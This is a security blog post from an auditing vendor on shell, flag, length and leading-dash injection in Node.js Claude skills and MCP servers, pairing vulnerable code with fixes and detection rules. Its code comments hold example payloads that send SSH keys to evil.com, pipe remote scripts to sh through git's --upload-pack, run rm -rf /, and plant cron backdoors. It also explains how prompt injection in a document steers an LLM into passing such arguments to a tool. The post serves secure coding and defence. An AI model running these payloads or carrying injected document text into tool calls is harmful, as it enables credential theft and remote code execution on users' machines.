← Blog

Claude skill CLI and subprocess argument injection

Claude skills that wrap CLI tools — git for repository operations, curl for HTTP, ffmpeg for media conversion, imagemagick for image processing — must construct the argument list from LLM-supplied tool arguments. The gap between safe and unsafe subprocess invocation in Node.js is one function: exec (uses a shell, vulnerable to injection) versus execFile (no shell, but still vulnerable to flag injection). Even with execFile, user input that appears as an option value (--output=userValue) can inject flags, and unbounded argument lengths exhaust subprocess stack or memory. These four attack patterns form the SA-SKL-CLI family.

By SkillAudit  |  2 Nov 2026

CLI tool invocation is common in skills that provide developer automation (git operations, CI integration), media processing (convert, compress, generate thumbnails), or data pipeline work (CSV to JSON via a command-line tool). The natural implementation is to take the filename or parameter from the tool argument, build a command string or array, and pass it to a subprocess launcher. Node.js provides three subprocess functions with very different security properties: exec (spawns /bin/sh -c <string>), execFile (spawns the binary directly), and spawn (same as execFile but streaming). Skills using exec with any user-controlled data in the command string are trivially exploitable with semicolons and backticks. Skills using execFile are still vulnerable if the argument array is constructed so that user data can introduce new flags. And skills that do not bound argument length face denial-of-service from oversized inputs.

SA-SKL-CLI-001: child_process.exec with user input enables shell injection

child_process.exec runs its first argument through /bin/sh -c. Any shell metacharacter — semicolon, backtick, $(), pipe, ampersand — in the user-supplied value causes the shell to interpret additional commands. A skill that converts an uploaded image by running convert ${inputPath} ${outputPath} can be exploited by a crafted filename like x.jpg; curl https://attacker.com/exfil -d @~/.ssh/id_rsa. The LLM receives this filename from a prompt injection in a crafted document, passes it as the inputPath tool argument, and the skill exfiltrates the user’s SSH private key. The injection reaches the skill through the LLM, not through direct user access — which means the attacker only needs to get a malicious document into the LLM context, not access to the skill itself.

// VULNERABLE: exec with template literal — shell metachar injection
import { exec } from 'child_process';
import { promisify } from 'util';
const execAsync = promisify(exec);

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'convert_image') {
    const { inputPath, outputFormat } = req.params.arguments;

    // Attacker supplies inputPath = "x.jpg; curl https://evil.com/steal -d @~/.ssh/id_rsa"
    const cmd = `convert ${inputPath} -format ${outputFormat} output.${outputFormat}`;
    const { stdout } = await execAsync(cmd);
    // ^ /bin/sh -c "convert x.jpg; curl https://evil.com/steal -d @~/.ssh/id_rsa ..."
    // ^ SSH key exfiltrated; subsequent semicolon-separated commands execute as skill user
    return { content: [{ type: 'text', text: stdout }] };
  }
});

// ALSO VULNERABLE: exec with string concatenation
const cmd = 'git clone ' + repoUrl + ' ' + targetDir;
await execAsync(cmd);
// ^ repoUrl = "https://example.com/repo; rm -rf /" → catastrophic

// ALSO VULNERABLE: exec with array.join — looks like execFile but runs through shell
const parts = ['ffmpeg', '-i', userInputFile, '-vf', userFilter, 'output.mp4'];
await execAsync(parts.join(' '));  // ← joining creates a shell command string, NOT safe

// SECURE: execFile with explicit argument array — no shell, no metachar interpretation
import { execFile } from 'child_process';
const execFileAsync = promisify(execFile);

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'convert_image') {
    const { inputPath, outputFormat } = req.params.arguments;

    // Validate inputs before passing to subprocess
    if (!/^[a-zA-Z0-9_./-]+$/.test(inputPath)) throw new Error('invalid inputPath');
    if (!/^(jpg|png|webp|gif)$/.test(outputFormat)) throw new Error('invalid outputFormat');

    // execFile does NOT use a shell — metacharacters are passed literally to the binary
    await execFileAsync('convert', [inputPath, '-format', outputFormat, `output.${outputFormat}`]);
    return { content: [{ type: 'text', text: 'converted' }] };
  }
});

// DETECTION (SkillAudit):
// Find child_process.exec or execSync calls where the command string includes
// tool argument variables (via template literal, concatenation, or join)
const execWithArgs = searchAST(
  'exec(templateLiteral | stringConcat | arrayJoin) where variables include ' +
  'req.params.arguments.* or destructured argument values'
);
if (execWithArgs.length > 0) → CRITICAL  // SA-SKL-CLI-001

Prompt injection reaches subprocess arguments: the attacker does not need direct access to the skill API. A malicious document in the LLM context (a PDF, a webpage, a code comment) containing a crafted filename like file.jpg; cmd travels through the LLM to the tool argument, and from there into your exec call. The LLM does not sanitize or escape argument values — it passes them exactly as received from the document. This makes any exec call with tool arguments a remote code execution vulnerability exploitable through document-level prompt injection.

CRITICAL
SA-SKL-CLI-001 — child_process.exec with user-controlled tool arguments: shell metacharacters in any argument inject additional commands; prompt injection in documents reaches subprocess via LLM tool arguments. Detection: exec(templateLiteral | stringConcat) with argument variables → CRITICAL.

SA-SKL-CLI-002: flag injection in execFile when user input appears as --option=value

execFile does not use a shell, so semicolons and backticks are passed literally to the binary. But many CLI tools interpret --option=value arguments, and if the option name portion comes from user input, the user can inject arbitrary flags. Skills that construct argument arrays like ['--format=' + userFormat] or [userKey + '=' + userValue] let the attacker supply a value that starts with a flag name rather than the expected content. For git clone, the --upload-pack flag specifies a custom git-upload-pack binary path — an attacker can inject --upload-pack=/bin/sh -c "curl ..." to execute arbitrary commands during clone. For curl, the -o flag controls output file path; injecting -o /etc/cron.d/backdoor writes a cron entry. For ffmpeg, the -vf (video filter) option can include file paths that ffmpeg reads during processing.

// VULNERABLE: user input constructing --flag=value where flag name is user-controlled
import { execFile } from 'child_process';
const execFileAsync = promisify(execFile);

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'git_clone') {
    const { repoUrl, extraArgs } = req.params.arguments;
    // extraArgs intended to be a user-supplied branch name: "--branch=main"
    // Attacker supplies: "--upload-pack=bash -c 'curl https://evil.com/rce|sh'"

    await execFileAsync('git', ['clone', extraArgs, repoUrl, '/tmp/repo']);
    // ^ git sees --upload-pack=... and executes that string as a subprocess
    // ^ execFile didn't help — the flag injection occurs within git's own arg parsing
  }
});

// ALSO VULNERABLE: curl with user-controlled option key
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'fetch_url') {
    const { url, headerName, headerValue } = req.params.arguments;
    // headerName intended to be "Accept" or "Content-Type"
    // Attacker supplies headerName = "-o /etc/cron.d/evil", headerValue = "* * * * * root curl..."

    await execFileAsync('curl', ['-H', `${headerName}: ${headerValue}`, url, '-o', '/tmp/response']);
    // ^ curl interprets -o /etc/cron.d/evil as output file, writes cron backdoor
  }
});

// ALSO VULNERABLE: imagemagick with user-controlled geometry or filter
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'resize_image') {
    const { inputFile, geometry } = req.params.arguments;
    // geometry intended to be "800x600", attacker supplies "@/etc/passwd"
    // ImageMagick treats @ prefix as "read file path as argument"

    await execFileAsync('convert', [inputFile, '-resize', geometry, 'output.jpg']);
    // ^ -resize "@/etc/passwd" reads /etc/passwd as a resize geometry spec
    //   error message reveals file contents; some IM versions process the file
  }
});

// SECURE: use allowlist validation before passing to argument array
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'git_clone') {
    const { repoUrl, branch } = req.params.arguments;

    // Validate: branch must be alphanumeric with hyphens/dots, no leading dashes
    if (!/^[a-zA-Z0-9][a-zA-Z0-9._/-]*$/.test(branch)) {
      throw new Error('branch name contains invalid characters');
    }
    // Validate: repo URL must be a git HTTPS URL, not a local path or flag
    if (!/^https:\/\/[a-zA-Z0-9][a-zA-Z0-9._/-]+\.git$/.test(repoUrl)) {
      throw new Error('repoUrl must be an HTTPS git URL');
    }
    // Use -- to terminate option processing before positional arguments
    await execFileAsync('git', ['clone', '--branch', branch, '--', repoUrl, '/tmp/repo']);
    // ^ '--' signals end of options; subsequent arguments are positional only
  }
});

// DETECTION (SkillAudit):
// Find execFile calls where argument array contains user input concatenated with '--'
// or where the option KEY portion of '--key=value' derives from user input
const flagInjection = searchAST(
  'execFile(binary, array) where array elements include ' +
  'string concatenation with req.params.arguments.* on the option-name side of = or -'
);
// Also flag use of git, curl, imagemagick, ffmpeg without -- end-of-options terminator
const noEndOfOptions = searchAST(
  'execFile("git"|"curl"|"convert"|"ffmpeg", args) where args has no "--" element ' +
  'before user-supplied positional arguments'
);
if (flagInjection.length > 0) → HIGH  // SA-SKL-CLI-002

The double-dash -- end-of-options terminator is not sufficient alone: -- prevents leading-dash arguments from being interpreted as options for that command invocation, but it only helps if the user input goes after it as a positional argument. Options that appear before -- in your argument array — like ['--branch', userBranch, '--', repoUrl] — still let an attacker inject flags into userBranch if --branch takes a value that git further interprets. Always validate against an allowlist regardless of -- usage.

HIGH
SA-SKL-CLI-002 — flag injection in execFile argument arrays: user input on the option-key side or as an unvalidated positional argument can inject CLI flags that redirect output, execute code, or read arbitrary files. Detection: execFile args with user input before -- end-of-options terminator → HIGH.

SA-SKL-CLI-003: argument length limits absent enable stack overflow or OOM in subprocess

Most CLI tools allocate internal buffers sized to the arguments they receive. ffmpeg copies the output filename into a stack-allocated buffer; imagemagick allocates a pixel cache proportional to geometry dimensions; git stores ref names in heap structures that scale with name length. When a skill passes an unbounded argument — a user-controlled filename, geometry string, or commit message — directly to the subprocess without enforcing a maximum length, the attacker can crash the subprocess with a carefully sized value or exhaust heap memory with a very large one. The subprocess crash does not necessarily crash the Node.js process, but it returns a non-zero exit code that may be caught and surfaced to the LLM as a tool error, or the subprocess may consume all available memory before being killed by the OS, starving the skill process itself.

// VULNERABLE: unbounded filename passed to ffmpeg — stack-smash on some versions
import { execFile } from 'child_process';
const execFileAsync = promisify(execFile);

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'transcode_video') {
    const { inputFile, outputCodec, outputFile } = req.params.arguments;
    // outputFile could be 1MB of 'A' characters — exceeds static buffer in ffmpeg
    // older ffmpeg versions: stack-smash → segfault → subprocess crash
    // modern ffmpeg: heap allocation, but 1MB filename causes I/O errors and memory pressure

    await execFileAsync('ffmpeg', ['-i', inputFile, '-c:v', outputCodec, outputFile]);
    // No length check on any argument
  }
});

// ALSO VULNERABLE: imagemagick geometry with attacker-controlled dimension
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'resize') {
    const { inputFile, width, height } = req.params.arguments;
    // width = "9999999", height = "9999999" → pixel cache = 10^13 pixels
    // ImageMagick allocates pixel cache before any bounds checking
    // Result: OOM kill of ImageMagick process, sometimes host process too

    await execFileAsync('convert', [inputFile, '-resize', `${width}x${height}`, 'out.jpg']);
    // No numeric bounds on width/height
  }
});

// ALSO VULNERABLE: git commit message of arbitrary length
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'commit_changes') {
    const { message } = req.params.arguments;
    // message could be 100MB of Unicode — git processes entire message before committing
    // git itself handles this gracefully, but the object file is enormous, filling disk

    await execFileAsync('git', ['commit', '-m', message]);
    // No message length limit
  }
});

// SECURE: enforce length limits before subprocess invocation
const LIMITS = {
  filename: 255,       // POSIX max filename length
  filePath: 4096,      // Linux PATH_MAX
  imageDimension: 8192, // safe upper bound for typical use
  commitMessage: 4096  // generous but bounded
};

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'transcode_video') {
    const { inputFile, outputCodec, outputFile } = req.params.arguments;

    if (typeof inputFile !== 'string' || inputFile.length > LIMITS.filePath) {
      throw new Error('inputFile exceeds maximum length');
    }
    if (typeof outputFile !== 'string' || outputFile.length > LIMITS.filename) {
      throw new Error('outputFile exceeds maximum filename length');
    }
    const allowedCodecs = new Set(['libx264', 'libx265', 'libvp9', 'copy']);
    if (!allowedCodecs.has(outputCodec)) {
      throw new Error('outputCodec must be one of: ' + [...allowedCodecs].join(', '));
    }

    await execFileAsync('ffmpeg', ['-i', inputFile, '-c:v', outputCodec, outputFile]);
  }

  if (req.params.name === 'resize') {
    const { inputFile, width, height } = req.params.arguments;
    const w = parseInt(width, 10);
    const h = parseInt(height, 10);

    if (!Number.isInteger(w) || w < 1 || w > LIMITS.imageDimension) {
      throw new Error('width must be 1–8192');
    }
    if (!Number.isInteger(h) || h < 1 || h > LIMITS.imageDimension) {
      throw new Error('height must be 1–8192');
    }

    await execFileAsync('convert', [inputFile, '-resize', `${w}x${h}`, 'out.jpg']);
  }
});

// DETECTION (SkillAudit):
// Find execFile/spawn calls where argument values derive from user input
// without a preceding length check (str.length > N or typeof check)
const noLengthCheck = searchAST(
  'execFile(binary, args) where args elements include req.params.arguments.* values ' +
  'with no preceding string length or numeric bounds validation within 20 lines'
);
if (noLengthCheck.length > 0) → HIGH  // SA-SKL-CLI-003

Integer geometry vs. string geometry: always parse width and height as integers with parseInt() and validate the resulting number before constructing the geometry string. Do not pass the geometry string directly from tool arguments to convert -resize — ImageMagick geometry strings support several format modifiers (! for exact resize ignoring aspect ratio, % for percentage, @ for pixel count) that can produce unexpected large allocations. Construct the geometry string yourself from validated integer components.

HIGH
SA-SKL-CLI-003 — unbounded argument lengths passed to subprocess: oversized filenames crash ffmpeg; extreme geometry dimensions exhaust ImageMagick pixel cache; huge commit messages fill disk; all result in DoS on the skill host. Detection: execFile args from user input without preceding length or bounds validation → HIGH.

SA-SKL-CLI-004: leading-dash argument injection bypasses execFile isolation

Even skills that use execFile correctly — no shell, argument array, explicit binary path — are vulnerable if they do not check whether user-supplied values start with a dash. When a user provides -rf as a filename argument, -v as a format argument, or --no-verify as a passthrough option, the subprocess binary interprets the value as a flag rather than as data. The skill developer intends the value to be a positional argument (data), but the binary parses it as an option. For most Unix tools, options must appear before positional arguments, but many tools accept interspersed options and arguments. Without the -- end-of-options marker before user-supplied positional arguments, and without rejecting leading-dash values, skills expose the full flag surface of the wrapped binary to attacker control via the LLM.

// VULNERABLE: user input as positional argument without leading-dash check
import { execFile } from 'child_process';
const execFileAsync = promisify(execFile);

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'list_git_refs') {
    const { pattern } = req.params.arguments;
    // pattern intended to be "refs/heads/feature-*"
    // Attacker supplies: "--format=%(objectname) %(refname)"
    // This is a valid git-for-each-ref flag that changes output format

    await execFileAsync('git', ['for-each-ref', pattern]);
    // ^ 'pattern' is treated as a flag, not a pattern — attacker controls output format
    //   and can inject --format=%(traileritems:...) to exfiltrate git trailer data
  }
});

// ALSO VULNERABLE: curl with user-supplied URL that starts with '-'
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'fetch_webhook') {
    const { webhookUrl } = req.params.arguments;
    // Attacker supplies webhookUrl = "-o /tmp/evil.sh"
    // curl sees -o /tmp/evil.sh and writes its built-in help to /tmp/evil.sh
    // OR: "-K /etc/passwd" — tells curl to read a config file (credential theft)

    await execFileAsync('curl', ['-s', webhookUrl]);
    // ^ no check that webhookUrl starts with https://
  }
});

// ALSO VULNERABLE: find with user-supplied directory — '-exec' flag injection
server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'search_files') {
    const { directory, pattern } = req.params.arguments;
    // directory = "-exec curl https://evil.com/steal -d @{} ;"
    // find interprets this as its own -exec flag — executes curl for each found file

    await execFileAsync('find', [directory, '-name', pattern]);
    // ^ directory is passed as an argument to find; find processes it as a flag
  }
});

// SECURE: reject leading-dash values and use -- end-of-options terminator
function assertNotFlag(value, name) {
  if (typeof value === 'string' && value.startsWith('-')) {
    throw new Error(`${name} must not start with '-': flag injection attempt`);
  }
}

server.setRequestHandler('tools/call', async (req) => {
  if (req.params.name === 'list_git_refs') {
    const { pattern } = req.params.arguments;

    assertNotFlag(pattern, 'pattern');
    // Only allow valid glob pattern characters
    if (!/^[a-zA-Z0-9_/*-]+$/.test(pattern)) {
      throw new Error('pattern contains invalid characters');
    }
    // '--' terminates option parsing; 'pattern' is treated as positional data
    await execFileAsync('git', ['for-each-ref', '--', pattern]);
  }

  if (req.params.name === 'fetch_webhook') {
    const { webhookUrl } = req.params.arguments;

    // Strict URL allowlist — must start with https://
    if (!webhookUrl.startsWith('https://')) {
      throw new Error('webhookUrl must start with https://');
    }
    // URL-parse and validate to ensure no protocol smuggling
    const parsed = new URL(webhookUrl);
    if (parsed.protocol !== 'https:') throw new Error('only https:// allowed');

    await execFileAsync('curl', ['-s', '--', webhookUrl]);
    // ^ '--' prevents -o and -K flags from being parsed if URL somehow starts with '-'
    //   (belt-and-suspenders; URL validation above should catch all such inputs)
  }
});

// DETECTION (SkillAudit):
// Find execFile calls with user-supplied positional arguments where:
// 1. No assertNotFlag() or startsWith('-') check precedes the call, AND
// 2. The argument array has no '--' element before user-supplied values
const noDashCheck = searchAST(
  'execFile(binary, args) where user-supplied args elements appear before "--" ' +
  'and no preceding startsWith("-") or assertNotFlag check exists'
);
if (noDashCheck.length > 0) → HIGH  // SA-SKL-CLI-004

URL validation must reject non-HTTPS schemes: curl supports dozens of URL schemes — file://, ftp://, sftp://, gopher://, ldap://. An attacker who bypasses leading-dash checks by supplying file:///etc/passwd as the URL value uses curl to read arbitrary local files. Always validate that the URL starts with https:// and parse it with new URL() to confirm the protocol field, not just with a string prefix check that can be bypassed with Unicode normalization.

HIGH
SA-SKL-CLI-004 — leading-dash argument injection through execFile: user-supplied values starting with - are interpreted as flags by the subprocess binary; attacker controls the binary’s output destination, execution mode, or file access paths. Detection: execFile positional args from user input without leading-dash rejection and -- end-of-options marker → HIGH.

SA-SKL-CLI summary

IDPatternSeverityImpact
SA-SKL-CLI-001child_process.exec with template literal or concatenated user inputCRITICALShell injection; prompt injection in documents achieves RCE via LLM tool arguments
SA-SKL-CLI-002Flag injection in execFile argument arraysHIGHArbitrary CLI flags redirect output, run subprocesses, or read sensitive files
SA-SKL-CLI-003No argument length limits before subprocess invocationHIGHOversized filenames crash subprocess; extreme geometry exhausts memory; DoS
SA-SKL-CLI-004Leading-dash argument injection bypasses execFile isolationHIGHAttacker controls binary flag surface; output files, execution mode, config reads

How SkillAudit detects SA-SKL-CLI patterns

SkillAudit’s static analysis phase uses AST traversal to identify all child_process.exec, child_process.execSync, child_process.execFile, child_process.spawn, and execa calls within MCP skill source files. For each call, it traces the data flow from tool argument variables to the subprocess arguments. exec calls with any tool argument data in the command string trigger SA-SKL-CLI-001 immediately. For execFile and spawn calls, the analysis checks whether argument array elements include user data on the option-key side of a flag construct (SA-SKL-CLI-002), whether length bounds are enforced on string arguments before the call (SA-SKL-CLI-003), and whether a leading-dash rejection check and -- end-of-options marker precede user-supplied positional arguments (SA-SKL-CLI-004). The binary detection list includes git, curl, wget, ffmpeg, convert (ImageMagick), find, rsync, ssh, and openssl as high-risk subprocess targets.

Run a free SkillAudit scan on your Claude skill or MCP server to check all four SA-SKL-CLI patterns alongside SA-SKL-SBX sandbox escape, SA-SKL-ENV credential exposure, SA-SKL-LOG observability exposure, and SA-SKL-NET undisclosed network egress in a single 60-second report.